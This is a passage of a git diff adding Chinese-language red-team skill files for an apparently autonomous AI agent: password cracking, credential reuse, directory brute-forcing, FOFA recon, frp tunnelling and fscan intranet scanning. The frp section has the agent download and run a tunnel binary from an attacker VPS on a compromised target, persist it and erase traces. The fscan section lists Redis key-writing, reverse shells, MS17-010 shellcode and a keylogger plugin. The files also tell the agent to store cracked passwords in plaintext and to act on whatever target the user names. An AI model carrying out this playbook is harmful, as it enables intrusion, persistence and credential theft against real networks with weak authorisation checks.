hashes.txt + +# 2) NTLM(Windows) +hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -O -w 3 + +# 3) NetNTLMv2(Responder 抓到的) +hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt + +# 4) MD5 / SHA1(Web 应用库) +hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt +hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt + +# 5) bcrypt(WordPress / PHP) +hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt + +# 6) 加规则(用规则把字典放大 10 倍,性价比最高) +hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule + +# 7) 掩码爆破(已知口令策略,如 8 位数字 + 大写字母) +hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d' +``` + +```bash +# john:格式识别省事,配置在 ~/.john/john.conf +john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt +john --show hashes.txt +``` + +**注意**:本机可能没有 GPU,`hashcat` 走 CPU 会慢——优先用规则+小字典,或把哈希存到 `runs/` 后续处理; +**不要为了破解挂几个小时**,破解不出来就用哈希直接打(Pass-the-Hash,见技能 `lateral-movement`)。 + +## 三、凭据复用(比爆破快得多,优先做) + +拿到任何一组凭据后,**先横向试**,不要急着爆下一个: +1. `redteam_credential_list` 看已有凭据(含用户名/口令/来源); +2. 同一口令试:其他同款系统、其他资产的管理端、SSH/RDP/SMB/数据库、VPN/堡垒机/运维平台; +3. 用户名规律(`姓.名`、工号、邮箱前缀)配合已知口令试同系统其它用户; +4. 哈希直接复用:PtH / Pass-the-Key(技能 `lateral-movement`)。 + +## 四、纪律与边界(必须遵守) + +1. **先查库**:`redteam_credential_list` / `redteam_asset_query`——别重复爆同一个入口(`blocked_count>0` 的先看原因)。 +2. **锁号风险**:Windows(RDP/SMB)与 OA/域账号**严格限流**:`-t 2`(Windows)、`-t 4`(SSH/FTP)、 + 字典不超过百条量级;**同一账号连续失败 5 次就停**,换账号或换目标——把账号打锁等于毁掉入口。 +3. **同一目标累计被封 >3 次放弃**(`redteam_asset_test` status=abandoned + blocked=true)。 +4. **降噪走代理**:Web 表单爆破用技能 `cn-proxy-pool` 换出口 IP;内网目标走 suo5 隧道。 +5. **内网优先用 fscan**:内网段落的弱口令普查交给技能 `fscan-intranet`(28 类服务批量爆破,一趟出结果), + hydra 用于 fscan 没覆盖的协议或需要精细控制的单点。 + +## 五、输出与落库(强制) + +1. **每条命中立刻 `redteam_credential_add`**: + - `username`、**明文写 `secret_value`**(面板直接显示,便于随时复用)、`source`(`弱口令`/`默认口令`/`凭据复用`/`泄露`/`离线破解`)、 + `tool`(实际命令原文,如 `hydra -L users.txt -P pass.txt ssh://10.0.0.5 -t 4 -f`)、`secret_ref`(证据文件路径如 `runs/hydra-ssh-10.0.0.5.txt`)。 +2. **必须实测登录才记分**:Web 后台用 `browser-automation` / `kimi-webbridge` 真实登录一次 + (打开登录页 → 填账号口令 → 确认进入后台 → 记页面标题/菜单/当前用户名 → 抓 Cookie 存证据)→ + `redteam_access_add`(`method=web-login`)→ `redteam_score_hit`(`web-app` 10 分 / `web-app` 20 分, + `evidence` 写「资产|后台管理员 tomcat/Tomcat@2024」)。 + **登不进去就在 `redteam_asset_test` 的 `test` 里记一行卡点**(哈希未破解/需二次认证/限制来源 IP/账号已禁用),不记分。 +3. **账号权限按服务封顶**:同一资产同一端口只算一次分,拿到管理员即该服务拿满——不要在同一服务上刷多个账号。 +4. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(或 `internal`), + `tool` 写实际命令、`result` 写回显摘要(如 `ssh 10.0.0.5 用 root/Root@123 登录成功,uid=0(root)`)。 +5. 哈希文件、破解结果一律放 `runs/`。 diff --git a/skills/redteam/dir-bruteforce.md b/skills/redteam/dir-bruteforce.md new file mode 100644 index 0000000..e7ee187 --- /dev/null +++ b/skills/redteam/dir-bruteforce.md @@ -0,0 +1,115 @@ +--- +name: dir-bruteforce +description: 目录与文件爆破:后台入口、备份文件、配置泄露、源码与版本库暴露(ffuf/feroxbuster/dirsearch/gobuster) +whenToUse: 已确认 Web 存活但指纹无直接 Nday 线索;需要找后台入口、备份、配置、源码、上传点等隐藏路径 +role: vuln-scan +enabled: true +--- + +# 目录与文件爆破(找入口的主力) + +**实战里大部分入口不是 CVE 打进去的,是目录爆破扫出来的**:后台 `/admin`、备份 `www.zip`、配置 `.env`、 +源码 `.git/`、接口文档 `swagger-ui.html`、上传点、调试页、actuator/druid 监控台。 +本技能覆盖本机已就位的四个工具,**不要只用一个**——它们的字典与判定逻辑不同,互补。 + +## 本机工具 + +| 工具 | 路径 | 版本 | 特点 | +| --- | --- | --- | --- | +| **feroxbuster** | `/usr/bin/feroxbuster` | 2.13.1 | Rust,递归爆破最强,自动跟随目录层级,**首选** | +| **ffuf** | `/usr/bin/ffuf` | 2.1.0-dev | 最快、最灵活,支持多字典/vhost/参数 fuzz | +| **dirsearch** | `$DSH_HOME/redteam/toolkit/dirsearch/dirsearch` | v0.5.0 | Python。`setup.sh` 不下载,需自行放到该路径 | +| **gobuster** | `/usr/bin/gobuster` | — | 轻量稳定,dir/dns/vhost 三模式 | + +## 一、feroxbuster(首选:递归 + 自动过滤) + +```bash +feroxbuster -u https://target.example.com \ + -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \ + -x php,asp,aspx,jsp,html,js,zip,tar.gz,bak,sql,txt,xml,json,config \ + -d 3 -t 30 --rate-limit 80 --timeout 10 \ + --filter-status 404 --filter-size 0 \ + -o runs/ferox-target.txt --json -o runs/ferox-target.json +``` + +要点:`-d 3`(递归深度)别开太大;`--rate-limit` 交给服务器喘气;`-x` 后缀表必须带**备份与配置类**。 + +## 二、ffuf(最快,多字典 / vhost / 参数) + +```bash +# 目录与文件(两轮:先目录,再按命中的目录加后缀) +ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ + -mc 200,204,301,302,307,401,403,500 -fc 404 -t 40 -rate 80 -timeout 10 \ + -o runs/ffuf-dir.json -of json + +# 敏感文件(备份/配置/源码/密钥) +ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt \ + -mc all -fc 404 -t 40 -o runs/ffuf-quick.json -of json + +# vhost 虚拟主机发现(同 IP 多站点,边缘资产常从这里出来) +ffuf -u https://target/ -H "Host: FUZZ.example.com" \ + -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ + -fs 0 -mc all -t 50 -o runs/ffuf-vhost.json -of json +``` + +## 三、dirsearch(字典全,适合补漏) + +```bash +$DSH_HOME/redteam/toolkit/dirsearch/dirsearch \ + -u https://target.example.com -e php,asp,aspx,jsp,zip,bak,txt,sql,json \ + --random-agent -t 30 --delay 0.1 --exclude-status 404 \ + -r -R 3 --format json -o runs/dirsearch-target.json +``` + +## 四、gobuster(轻量兜底) + +```bash +gobuster dir -u https://target -w /usr/share/seclists/Discovery/Web-Content/common.txt \ + -x php,asp,aspx,jsp,zip,bak -t 30 -k -o runs/gobuster-target.txt +``` + +## 字典(本机已有,优先用这些) + +| 用途 | 路径 | +| --- | --- | +| 大目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt` | +| 中目录字典 | `/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` | +| 常见文件 | `/usr/share/seclists/Discovery/Web-Content/common.txt` | +| 敏感文件(quickhits) | `/usr/share/seclists/Discovery/Web-Content/quickhits.txt` | +| 子域(vhost 用) | `/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt` | + +字典目录:`/usr/share/seclists`、`/usr/share/wordlists`。**缺字典时**用 `redteam_credential_list` 里已收集的 +单位词(品牌名、拼音缩写)自造小字典——针对性字典命中率往往高于通用大字典。 + +## 重点目标(扫到就要跟到底) + +| 命中 | 下一步 | +| --- | --- | +| `/admin`、`/manage`、`/login`、后台路径 | 交给账号权限路线:默认口令/弱口令(技能 `credential-attack`) | +| `.git/`、`.svn/`、`.env`、`config.php.bak`、`www.zip`、`web.rar` | **源码与配置泄露**:拉下来找数据库连接串、密钥、硬编码账号 → `redteam_credential_add` | +| `swagger-ui.html`、`/v2/api-docs`、`/openapi.json` | 提取全量接口清单 → 未授权与越权探测(技能 `unauth-exploit`) | +| `actuator`、`druid`、`/console`、`/jmx` | 未授权监控台,常直通 RCE 或数据库 | +| 上传点、导入、备份恢复、模板/报表设计 | 交给漏洞利用角色串 getshell 链 | +| `.ssh/`、`id_rsa`、`*.pem`、`*.jks` | 私钥泄露 → 直接尝试登录(`ssh -i`) | + +## 降噪与自保 + +1. **必须先过滤 404 的软 404**:先请求一个不存在的随机路径,看返回状态码与响应长度,用它做 `--filter-size` / `-fs`。 +2. **限速**:`-rate 80` / `--delay 0.1` / `-t 30` 起步;被 WAF 拦(大量 403/429)先降到 5–10 req/s。 +3. **别碰危险路径**:`/logout`、`/reboot`、`/shutdown`、`/delete*`、`/reset*` 这类会改状态的不要爆破, + 字典里遇到也要排除(会造成业务中断,且演练记分不认)。 +4. **被封 >3 次放弃**该资产(`redteam_asset_test` status=abandoned + blocked=true),转下一个。 +5. **内网目标走隧道**:feroxbuster `--proxy socks5://127.0.0.1:1080`、ffuf `-x socks5://127.0.0.1:1080` + (技能 `suo5-tunnel`)。 + +## 输出与落库(强制) + +1. **隐藏路径本身不是得分项**,但**每个拿到东西的路径都要落库**: + - 找到后台/上传点/接口文档 → 记进该资产 `redteam_asset_test` 的 `surface`(追加式),交给漏洞发现/利用的下一个动作; + - 泄露源码/配置/密钥/凭据 → `redteam_credential_add`(`source=配置泄露`,`tool` 写路径与命令,明文写 `secret_value`); + - 未授权可访问的接口/监控台 → 直接 `redteam_vuln_add`(含 `evidence` 回显)+ `redteam_http_evidence_add`。 +2. 每个关键动作 `redteam_chain_add`:`stage_code=internet`(或 `internal`), + `tool` 写实际命令原文(例如 `feroxbuster -u https://target -w raft-large-directories.txt -x php,zip,bak -d 3 --rate-limit 80`), + `result` 写命中摘要(例如 `命中 /admin/、/backup/www.zip、/.env`)。 +3. 跑完立刻 `redteam_asset_test` 回写 `status`/`test`/`surface`——不写状态后面的人一定重复扫。 +4. 字典与结果文件一律放 `runs/`(报告要能复现)。 diff --git a/skills/redteam/fofa-recon.md b/skills/redteam/fofa-recon.md new file mode 100644 index 0000000..e16beb1 --- /dev/null +++ b/skills/redteam/fofa-recon.md @@ -0,0 +1,179 @@ +--- +name: fofa-recon +description: 用 FOFA API 批量测绘靶标资产(域名/IP/端口/标题/指纹);内置限速客户端,严格单线程 + 最小间隔 + 退避重试,避免触发 45012 +whenToUse: 信息收集阶段需要快速铺开某单位/域名的互联网资产面时 +role: recon +enabled: true +--- + +# FOFA 资产测绘(限速安全版) + +## 凭据 +- API Key:从环境变量 `FOFA_KEY` 读取(**任何 key 都不要写进仓库**;本技能所有脚本只读环境变量) +- 接口:`GET https://fofa.info/api/v1/search/all` +- 参数:`key`、`qbase64`(查询语句的 base64)、`size`、`page`、`fields` + +## 官方限额(fofa.info/vip,2026-09 核对) + +| 会员 | 查询请求 | 获取数据量 | **查询接口并发** | +|---|---|---|---| +| 注册用户(免费) | 无 API(页面 300 次/月) | 页面 3,000 条/月 | — | +| 个人版 | 10,000 次/月 | 100,000 条/月 | **1 秒 1 次** | +| 专业版 | 80,000 次/月 | 800,000 条/月 | **1 秒 1 次** | +| 商业版 | 900,000 次/月 | 9,000,000 条/月 | **1 秒 2 次** | +| 企业版 V2 | 5,000,000 次/月 | 50,000,000 条/月 | **1 秒 5 次** | + +## 实测行为(实测验证) +- 连续快速请求 → **HTTP 429**,响应体 `{"error":true,"errmsg":"[45012] 请求速度过快"}` +- key 错误 → HTTP 200 + `{"error":true,"errmsg":"[-700] 账号无效"}` +- 单页 `size` 到 1000 正常;请求间隔 ≥1 秒时连续请求均返回 200 +- 结论:**按 1 请求/秒 保守执行,绝不并发**;遇到 45012 必须退避,不要立即重试 + +## 使用纪律(重要) +1. **精确查询优先**:`domain=` / `cert=` / `org=` 先缩小范围,再考虑 `body=` / `title=` 等宽泛语句。宽语句返回几十万条没意义,还烧配额。 +2. **不要全量翻页**:默认只取前 1–3 页(每页 100 条)拿到测绘入口即可。 +3. **单进程单线程**:同一时刻只跑一个采集任务;多个查询串行排队。 +4. **结果落盘缓存**:同一查询不要重复拉,先看 `runs/fofa-*.jsonl` 是否已有。 +5. **长任务放后台**:用 `run_in_background` 跑,别阻塞对话。 +6. 配额耗尽或被限速时改用其他数据源(证书透明、DNS、搜索引擎),不要死磕。 + +## 限速客户端(用这个,不要手写 curl 循环) +```bash +cat > runs/fofa_client.py <<'PY' +#!/usr/bin/env python3 +"""FOFA 采集(限速安全):单线程 + 最小间隔 + 指数退避 + 结果缓存。 + +用法: + python3 runs/fofa_client.py 'domain="example.com"' --pages 2 --size 100 --interval 2.0 +输出: + runs/fofa-.jsonl 每行一个资产 {host,ip,port,title,domain,server,protocol} +""" +import argparse, base64, hashlib, json, os, sys, time, urllib.error, urllib.parse, urllib.request + +KEY = os.environ["FOFA_KEY"] +API = "https://fofa.info/api/v1/search/all" +FIELDS = "host,ip,port,title,domain,server,protocol" +RETRY_BACKOFF = [5, 15, 45] # 遇 45012 的退避秒数 +HARD_BUDGET = 30 # 单次运行最多请求次数 + + +def fetch(query, page, size, timeout=30): + qs = urllib.parse.urlencode({ + "key": KEY, "qbase64": base64.b64encode(query.encode()).decode(), + "size": size, "page": page, "fields": FIELDS, + }) + req = urllib.request.Request(API + "?" + qs, headers={"User-Agent": "redteam-recon/1.0"}) + try: + with urllib.request.urlopen(req, timeout=timeout) as r: + return r.status, json.load(r) + except urllib.error.HTTPError as e: + body = e.read().decode("utf-8", "ignore") + try: + return e.code, json.loads(body) + except Exception: + return e.code, {"error": True, "errmsg": body[:200]} + + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("query") + ap.add_argument("--pages", type=int, default=2, help="最多翻页数(默认 2)") + ap.add_argument("--size", type=int, default=100, help="每页条数(默认 100,不要调大)") + ap.add_argument("--interval", type=float, default=2.0, help="请求最小间隔秒(默认 2.0)") + ap.add_argument("--out", default=None) + args = ap.parse_args() + + slug = hashlib.md5(args.query.encode()).hexdigest()[:8] + out = args.out or f"runs/fofa-{slug}.jsonl" + os.makedirs(os.path.dirname(out) or ".", exist_ok=True) + + if os.path.exists(out) and os.path.getsize(out) > 0: + print(f"[cache] {out} 已存在({os.path.getsize(out)} bytes),如需重拉请先删除", file=sys.stderr) + return 0 + + seen, rows, requests_made, last_ts = set(), [], 0, 0.0 + for page in range(1, args.pages + 1): + # ---- 限速:保证两次请求之间至少间隔 interval 秒 ---- + wait = args.interval - (time.time() - last_ts) + if wait > 0: + time.sleep(wait) + + status, data = None, None + for attempt, backoff in enumerate([0] + RETRY_BACKOFF): + if attempt: + print(f"[backoff] 等待 {backoff}s 后重试 (page={page})", file=sys.stderr) + time.sleep(backoff) + last_ts = time.time() + requests_made += 1 + if requests_made > HARD_BUDGET: + print(f"[stop] 达到请求预算 {HARD_BUDGET}", file=sys.stderr) + break + status, data = fetch(args.query, page, args.size) + if status == 200 and not data.get("error"): + break + errmsg = str(data.get("errmsg", "")) + if "45012" in errmsg or status == 429: + continue # 限速 → 退避重试 + print(f"[stop] 不可重试错误 http={status} {errmsg}", file=sys.stderr) + data = None + break + if data is None: + break + + results = data.get("results") or [] + print(f"[page {page}] {len(results)} 条 (size={data.get('size')}, 消耗F点={data.get('consumed_fpoint')})", file=sys.stderr) + for item in results: + if isinstance(item, str): + item = [item] + host = item[0] if len(item) > 0 else "" + ip = item[1] if len(item) > 1 else "" + port = item[2] if len(item) > 2 else "" + key = (host, ip, port) + if key in seen: + continue + seen.add(key) + rows.append({ + "host": host, "ip": ip, "port": port, + "title": item[3] if len(item) > 3 else "", + "domain": item[4] if len(item) > 4 else "", + "server": item[5] if len(item) > 5 else "", + "protocol": item[6] if len(item) > 6 else "", + }) + if len(results) < args.size: + break # 已到末页 + + with open(out, "w", encoding="utf-8") as f: + for row in rows: + f.write(json.dumps(row, ensure_ascii=False) + "\n") + print(f"[done] {len(rows)} 条资产 → {out}(共 {requests_made} 次请求)", file=sys.stderr) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) +PY +``` + +### 用法 +```bash +mkdir -p runs +python3 runs/fofa_client.py 'domain="example.com"' --pages 2 --size 100 --interval 2.0 +python3 runs/fofa_client.py 'cert="example.com"' --pages 3 --interval 2.0 +python3 runs/fofa_client.py 'org="示例科技有限公司"' --pages 2 --interval 2.0 +``` + +### 落库 +读 `runs/fofa-*.jsonl`,逐条 `redteam_asset_add`:`provenance="passive"`、`tool="fofa"`,端口带 `url=host`、`title`、`product=server`;域名写进 `names`。 + +## 常用查询语句 +| 目的 | 语句 | +|---|---| +| 某域名全部资产 | `domain="example.com"` | +| 证书包含该域名 | `cert="example.com"` | +| 某 C 段 | `ip="203.0.113.0/24"` | +| 单位名称 | `org="示例科技有限公司"` | +| 按标题找后台 | `title="登录" && domain="example.com"` | +| 按 body 特征 | `body="/seeyon/"` | +| 指定端口 | `ip="203.0.113.0/24" && port="3306"` | + +> 宽泛语句(单独用 `body=` / `title=`)结果量大、消耗配额快,务必叠加域名或 IP 限定。 diff --git a/skills/redteam/frp-tunnel.md b/skills/redteam/frp-tunnel.md new file mode 100644 index 0000000..5ccdbce --- /dev/null +++ b/skills/redteam/frp-tunnel.md @@ -0,0 +1,147 @@ +--- +name: frp-tunnel +description: frp 内网穿透:在自有 VPS 上跑 frps,在目标上跑 frpc,得到稳定 socks5 与端口映射 +whenToUse: 已有命令执行/RCE 且目标可出网;需要长期稳定隧道、把内网端口映射给用户直接访问时 +role: internal +enabled: true +--- + +# frp(内网穿透,最稳的长期隧道) + +> **先加载 VPS 配置**:本技能里所有 `$REDTEAM_VPS_HOST` / `$VPS_USER` 都来自本机配置, +> 首次由 `bash $DSH_HOME/redteam/setup.sh` 写入 `$DSH_HOME/.env`。每条命令前先 source 一次: +> ```bash +> set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a +> VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST" +> ``` +> 没配过就跑一次 `setup.sh`(技能 `redteam-setup`),它同时会验证 SSH 连通性与载荷服务。 + +`frp` 是**最稳定、最常用**的穿透方案:VPS 上跑 `frps`(服务端),目标上跑 `frpc`(客户端), +把内网的 socks5 或任意端口映射出来。相比 suo5/chisel,它**专为长期稳定运行设计**(自动重连、多路复用、TLS), +适合打进去之后**长期挂着**的内网通道。 + +**分工**:有 WebShell → `suo5-tunnel`;只有命令执行要快速进内网 → `chisel-tunnel`; +要**长期稳定 + 把端口给用户直接用** → 本技能。 + +## 本机二进制 + +| 文件 | 路径 | 用途 | +| --- | --- | --- | +| frps | `$DSH_HOME/redteam/toolkit/frp/frps` | VPS 上的服务端 | +| frpc | `$DSH_HOME/redteam/toolkit/frp/frpc` | 目标上的客户端 | + +已同步到 VPS 载荷目录 `http://$REDTEAM_VPS_HOST:9100/`。VPS 上还有 `frps` 的配置样例。 + +## 一、VPS 侧:起 frps(先做) + +```bash +# 1) 上传并准备(本机 → VPS) +scp -i $DSH_HOME/redteam/toolkit/vps/id_rsa \ + $DSH_HOME/redteam/toolkit/frp/frps $VPS_USER@$REDTEAM_VPS_HOST:/root/frps + +# 2) 写配置(VPS 上) +cat > /root/frps.toml <<'EOF' +bindPort = 7000 # frpc 连接端口 +auth.method = "token" +auth.token = "<随机强 token>" # 必填:公网暴露必须加 token,否则被扫到白用 + +# 可选:vhostHTTPPort / vhostHTTPSPort 用于 HTTP 类型穿透 +EOF + +# 3) tmux 里跑(断开 SSH 也不能死) +tmux new -s frps +/root/frps -c /root/frps.toml +``` + +**VPS 安全组放行**:`7000`(frpc 连接口)+ 后续映射出来的端口(如 `1080`、`13389`)。 + +## 二、目标侧:跑 frpc + +```bash +# 1) 拉取二进制(通过已有命令执行点) +curl -s http://$REDTEAM_VPS_HOST:9100/frpc -o /tmp/frpc && chmod +x /tmp/frpc + +# 2) 写配置 +cat > /tmp/frpc.toml <<'EOF' +serverAddr = "$REDTEAM_VPS_HOST" +serverPort = 7000 +auth.method = "token" +auth.token = "<与 frps 相同的 token>" + +# ① 内网 SOCKS5(最有用:整个内网可达) +[[proxies]] +name = "socks5" +type = "tcp" +remotePort = 1080 +[proxies.plugin] +type = "socks5" + +# ② 指定端口映射(例:内网 RDP → VPS 13389) +# [[proxies]] +# name = "rdp" +# type = "tcp" +# localIP = "10.0.0.5" +# localPort = 3389 +# remotePort = 13389 + +# ③ 可选:HTTP 类型(走 80/443 出网受限时配合 frps 的 vhostHTTPPort) +# [[proxies]] +# name = "web" +# type = "tcp" +# localIP = "10.0.0.6" +# localPort = 8080 +# remotePort = 18080 +EOF + +# 3) 后台常驻跑(nohup + 断线自动重连) +nohup /tmp/frpc -c /tmp/frpc.toml > /tmp/frpc.log 2>&1 & +# Windows 目标:frpc.exe -c C:\Windows\Temp\frpc.toml(可用 sc create 注册服务持久化) +``` + +## 三、本机使用隧道 + +```bash +# SOCKS5 模式:VPS:1080 就是内网入口 +proxychains4 -f runs/proxychains-1080.conf curl -s http://10.0.0.5/ +# 配置里写:socks5 $REDTEAM_VPS_HOST 1080 +# ⛔ 不要改 /etc/proxychains4.conf,用 -f 指向 runs/ 下临时配置 + +# 端口映射模式:直连 VPS 端口 +rdesktop $REDTEAM_VPS_HOST:13389 +mysql -h $REDTEAM_VPS_HOST -P 13306 -u root -p +``` + +## 四、出网受限时的变体 + +| 限制 | 处理 | +| --- | --- | +| 只能出 80/443 | frps `bindPort = 443`(或先用 80 跑 HTTP 类型),frpc 对应改端口 | +| 有 TLS 中间盒拦截 | frp 自带 `transport.tls.enable = true`(默认开);必要时用 `transport.protocol = "kcp"` 或 `websocket` | +| 目标不能出网 | frp 方案不可用 → 走 WebShell 侧隧道(`suo5-tunnel`) | +| 需要伪装成正常流量 | `transport.protocol = "websocket"` + `transport.tls.enable = true`(走 443 时像普通 WebSocket) | + +## 五、持久化与纪律 + +1. **必须跑在 tmux(服务端)/ nohup(客户端)**,否则会话一断隧道即失。 +2. **服务端必须加 `auth.token`**:公网 VPS 的 7000 端口会被全网扫,无 token 等于把内网送人。 +3. **token 不要复用**:每次演练生成新的随机 token;用完 `pkill frps` / `pkill frpc` 及时关闭。 +4. **目标侧注意落地痕迹**:二进制与配置放 `/tmp`,用完清理;Windows 用 `Temp` 目录。 +5. 直接按用户给的目标开工;用户补充了范围(如某 C 段、某个域名)就照补充的执行。 + +## 六、输出与落库(强制) + +1. **隧道登记 `redteam_tunnel_add`**,字段写全: + - `kind`:`frp`; + - `listen`:用户实际使用的地址(如 `$REDTEAM_VPS_HOST:1080`); + - `entry`:目标侧入口(如 `10.0.0.6 上 /tmp/frpc → VPS:7000`); + - `reach`:**实测可达网段**; + - `entry_kind`:**`target-outbound`**(目标出网连我们的 frps——这是 frp 的典型形态); + ⛔ 只在自己 VPS 上开代理填 `self-only` → 会被标"不算突破"; + - `command`:frps 与 frpc 两段完整命令 + 配置要点(token 脱敏)。 +2. **实测连通**:`curl --socks5-hostname $REDTEAM_VPS_HOST:1080 http://<内网目标>/`,通了才登记为 active; + 然后 `redteam_session_check` 复查。 +3. **得分**:`boundary`(隧道可达内网,evidence 写「隧道地址|可达网段|实测访问到的内网目标」); + 通过它横向 → `server-host`。 +4. **交付给用户**:给出可直接粘贴的 `socks5://$REDTEAM_VPS_HOST:1080` 或映射端口,写清地址与端口。 +5. 每个关键动作 `redteam_chain_add`(`stage_code=boundary-logical`),`tool` 写命令原文、`result` 写回显摘要 + (如 `frpc 注册成功,proxy socks5 start success`)。 diff --git a/skills/redteam/fscan-intranet.md b/skills/redteam/fscan-intranet.md new file mode 100644 index 0000000..c0670e6 --- /dev/null +++ b/skills/redteam/fscan-intranet.md @@ -0,0 +1,216 @@ +--- +name: fscan-intranet +description: fscan v2.2.1 内网综合扫描:存活探测、端口/服务识别、28 类弱口令爆破、未授权访问与高危漏洞(MS17-010/SMBGhost)、Redis 利用与 SOCKS5 隧道 +whenToUse: 进入内网(跳板机/WebShell/socks5 隧道)后快速铺开资产面、找弱口令与未授权、把可达性变成可打点 +role: internal +enabled: true +--- + +# fscan(内网综合扫描与弱口令/漏洞) + +`fscan` = **广度优先的内网普查**:一段 C 段丢进去,几分钟内给出存活主机、开放端口、服务指纹、Web 标题、 +弱口令、未授权访问、高危漏洞。**噪声大**,只适合内网(对互联网目标用外部扫描技能)。 + +## 与 gogo 的分工 + +| | fscan | gogo | +| --- | --- | --- | +| 定位 | 综合普查 + 爆破 + 利用 | 高性能测绘 + 指纹 + 信息提取 | +| 噪声 | 大(默认 600 线程 + 爆破 + POC) | 可控(`--opsec`、线程/超时自调) | +| 先用哪个 | 目标明确、要快速找弱口令与洞 | 大网段先铺面、要指纹和 title | + +**推荐顺序**:先 `gogo` 铺面拿资产清单 → 再 `fscan` 对确认存活的目标做定向爆破与漏洞。 + +## 二进制 + +``` +本机 : $DSH_HOME/redteam/toolkit/fscan/fscan (v2.2.1,含本地插件) + $DSH_HOME/redteam/toolkit/fscan/fscan_windows_x64.exe + $DSH_HOME/redteam/toolkit/fscan/fscan_linux_arm64 +VPS : http://<你的VPS_IP>:9100/fscan (技能 vps-reverse-shell 的载荷目录) +``` + +安装脚本只下载 linux/amd64 的 `fscan`。Windows 与 ARM 文件需自行补上;当前平台只用上面的主文件。 + +**传到跳板机/目标**(内网扫描必须在能到达内网的位置执行): + +```bash +# 跳板机上直接下载(VPS 起载荷服务:~/.dsh/redteam/toolkit/vps/vps.sh serve 9100) +curl -o fscan http://<你的VPS_IP>:9100/fscan && chmod +x fscan +# 或从本机经 shells 上传 +``` + +## 纪律(先看这条) + +1. **范围**:只用授权清单内的网段;用 `-eh/-ehf` 显式排除办公网、打印机、工控、云元数据(169.254.169.254)。 +2. **别打崩设备**:默认 `-t 600` 对老设备/工控很危险。内网先用 `-t 100 -time 3`,确认设备扛得住再加。 +3. **先无爆破再爆破**:第一轮 `-nobr -nopoc` 只做资产面;确认目标重要性和授权后,第二轮再放开。 +4. **避开蜜罐/IDS**:`-rate` 限速、`-maxpkts` 限量;管理员可能在看着。 +5. **DNSLog 外带**:`-dns -domain <你的dnslog域名>`,别用公共 DNSLog 传敏感数据。 + +## 标准作业流程(SOP) + +```bash +# 0) 确认自己在哪、能到哪 +ip a; ip route + +# 1) 存活普查(最快,先圈定活人) +./fscan -h 10.0.0.0/24 -m icmp -o alive.txt -nocolor + +# 2) 资产面(不爆破、不打 POC,最安静) +./fscan -h 10.0.0.0/24 -np -nobr -nopoc -t 100 -time 3 -o assets.txt + +# 3) Web 优先:把 assets.txt 里的 web 端口交给截图/指纹环节 +./fscan -h 10.0.0.0/24 -p 80,443,8080,8000,8888,9000,7001,9090 -nobr -nopoc -nocolor + +# 4) 定向爆破(授权确认后) +./fscan -h 10.0.0.5 -m ssh -user root -pwdf /tmp/pass.txt -t 5 + +# 5) 高危漏洞与未授权 +./fscan -h 10.0.0.0/24 -m ms17010,smbghost -nobr +./fscan -h 10.0.0.0/24 -p 6379,27017,9200,11211,2181 -nobr -nopoc +``` + +## 参数速查(实测 v2.2.1 `-help`) + +**目标** +``` +-h 目标(IP 段文件也吃) +-hf 主机文件 -eh/-ehf 排除主机/排除文件 +-u -uf 单 URL / URL 文件 -domain <域名> +``` + +**端口与存活** +``` +-p 21,22,80,443,3306,6379,10000-10100 端口(默认内置约 150 个常用端口) +-pf 端口文件 -ep 排除端口 +-np 禁用 ping 探测(只扫端口,快) -ao 仅存活探测 +-nsp 禁用网段预筛(大网段提速) -ntp 禁用 TCP 补充探测 +``` + +**模式** +``` +-m all 默认全流程(含爆破+POC) +-m icmp 仅存活 +-m <插件> 只跑指定服务插件,例如 -m ssh / -m redis / -m smb2 / -m ms17010 / -m netbios +-nobr 禁爆破 -nopoc 禁 POC -noredis 禁 Redis 利用 +``` + +**并发与节流**(OPSEC 关键) +``` +-t 600 端口扫描线程 -time 3 端口超时(秒) +-mt 20 模块线程 -wt 5 Web 超时 +-gt 0 全局超时(秒) -retry 3 重试次数 +-rate 0 每分钟最大发包数(0=不限) -maxpkts 0 总发包上限 +-num 20 POC 并发 -icmp-rate 0.1 ICMP 速率 +``` + +**凭据(爆破)** +``` +-user/-pwd 单组账号密码 -userf/-pwdf 字典文件 +-upf 用户名:密码 对文件 -usera/-pwda 追加多个(逗号/空格分隔) +-hash/-hashf NTLM Hash 碰撞 -sshkey 私钥登录 +``` + +**利用(拿到就用,注意授权边界)** +``` +-rf Redis 写公钥(写 authorized_keys 拿 SSH) +-rs Redis Shell -rwc/-rwf/-rwp Redis 写入内容/文件/路径 +-rsh 反弹 Shell 到指定地址(配合技能 vps-reverse-shell) +-sc MS17-010 ShellCode +-local 本机插件:systeminfo / keylogger / cleaner 等(在跳板机上跑) +-start-socks5 1080 在跳板机上开 SOCKS5 服务,把内网暴露给本机 +-fsh-port 4444 正向 Shell 服务端口 +``` + +**代理(打隧道后的核心用法)** +``` +-socks5 127.0.0.1:1080 走 SOCKS5(suo5 / ssh -D / frp 都行) +-socks5 socks5://user:pass@127.0.0.1:1080 +-proxy http://127.0.0.1:8080 走 HTTP 代理 +``` + +**输出** +``` +-o result.txt 输出文件 -f txt|json|csv 格式 +-no 不保存结果 -silent 静默 -nocolor/-nopg 关颜色/进度条 +-lang zh|en 语言 -log "base,info,success" 日志级别 +-dns 记录 DNS 日志(配合 -domain 做外带检测) +-perf 输出性能统计 JSON +``` + +## 关键场景 + +### 1. 通过隧道打内网(最常用) + +```bash +# 